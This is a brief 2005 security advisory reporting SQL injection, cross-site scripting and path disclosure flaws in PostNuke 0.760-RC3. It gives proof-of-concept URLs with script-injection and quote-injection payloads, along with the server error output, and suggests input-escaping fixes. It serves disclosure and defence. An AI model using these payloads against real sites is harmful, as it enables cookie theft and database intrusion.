PostNuke 0.760-RC3 is susceptible to SQL injection and cross site scripting attacks.
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Severity: Medium
Title: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3
Date: 08/04/2005
Vendor: PostNuke
Vendor Website: http://www.postnuke.com
Summary: There are, sql injection, xss and path disclosure vulnerabilities in postnuke 0.760-rc3.
Proof of Concept Exploits:
http://localhost/admin.php?module="><script>alert(document.cookie)</script>&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie
http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480
SQL INJECTION (look wayyy on the bottom of the page)
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for
the right syntax to use near '\'SQL_INJECTION' at line 23
http://localhost/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id='&POSTNUKESID=355776cfb622466924a7096d4471a480
Server Path disclosure
Fatal error: Call to a member function on a non-object in /home/httpd/vhosts/localhost/httpdocs/modules/Reviews/index.php on line 976
http://localhost/user.php?op="><script>alert(document.cookie)</script>&module=NS-NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480
Pops cookie
Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input
validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.
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Author:
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